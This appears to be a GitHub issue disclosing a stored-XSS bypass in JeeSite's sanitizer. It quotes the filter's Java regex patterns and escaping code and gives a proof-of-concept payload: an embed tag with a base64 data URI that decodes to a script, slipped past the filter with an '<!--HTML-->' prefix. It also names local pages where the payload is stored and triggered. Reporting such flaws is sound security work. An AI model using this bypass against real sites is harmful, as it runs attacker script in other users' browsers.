- Notifications
You must be signed in to change notification settings - Fork 840
Closed
Description
Summary
The previous XSS filter bypass vulnerability was fixed through commit 3585737, but by analyzing the latest sanitizer (v5.12.1), new XSS attack vectors were discovered, leading to the patch being bypassed again.
Details
the XSS filter will sanitize all INPUT, however, attacker can bypass it.
- src/main/java/com/jeesite/common/codec/EncodeUtils.java
private static final List<Pattern> xssPatterns = ListUtils.newArrayList( Pattern.compile("(<\\s*(script|link|style|iframe)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe)\\s*>)", Pattern.CASE_INSENSITIVE), Pattern.compile("\\s*(href|src)\\s*=\\s*(\"\\s*(javascript|vbscript):[^\"]+\"|'\\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE), Pattern.compile("\\s*/?\\s*on[a-zA-Z]+\\s*=\\s*(['\"]?)(.*?)\\1(?=\\s|>|/>)", Pattern.CASE_INSENSITIVE), Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", Pattern.CASE_INSENSITIVE), Pattern.compile("^(javascript:|vbscript:)", Pattern.CASE_INSENSITIVE) ); public static String xssFilter(String text, HttpServletRequest request) { request = (request != null ? request : ServletUtils.getRequest()); if (request != null && StringUtils.containsAny(request.getRequestURI(), ServletUtils.XSS_FILE_EXCLUDE_URI)) { return text; } String oriValue = StringUtils.trim(text); if (text != null){ String value = oriValue; for (Pattern pattern : xssPatterns) { Matcher matcher = pattern.matcher(value); if (matcher.find()) { value = matcher.replaceAll(StringUtils.EMPTY); } } // 如果开始不是HTML,XML,JOSN格式,则再进行HTML的 "、<、> 转码。 if (!StringUtils.startsWithIgnoreCase(value, "<!--HTML-->") // HTML && !StringUtils.startsWithIgnoreCase(value, "<?xml ") // XML && !(StringUtils.startsWith(value, "{") && StringUtils.endsWith(value, "}")) // JSON Object && !(StringUtils.startsWith(value, "[") && StringUtils.endsWith(value, "]")) // JSON Array ){ StringBuilder sb = new StringBuilder(); for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); switch (c) { case '>': sb.append(">"); break; case '<': sb.append("<"); break; case '\'': sb.append("'"); break; case '\"': sb.append("""); break; default: sb.append(c); break; } } value = sb.toString(); } if (logger.isInfoEnabled() && !value.equals(oriValue)){ logger.info("xssFilter: {} <=<=<= {} source: {}", value, text, request != null ? request.getRequestURL() : "common"); } return value; } return null; } POC
Payload
<!--HTML-->XSS<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCg5KTwvc2NyaXB0Pgo="> Proof Of Concept
Stored XSS
Inject XSS payload (SOURCE)
XSS trigger (SINK)
http://127.0.0.1:8980/vue/sys/office/index
http://127.0.0.1:8980/vue/sys/empUser/index
Impact
https://portswigger.net/web-security/cross-site-scripting#impact-of-xss-vulnerabilities
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels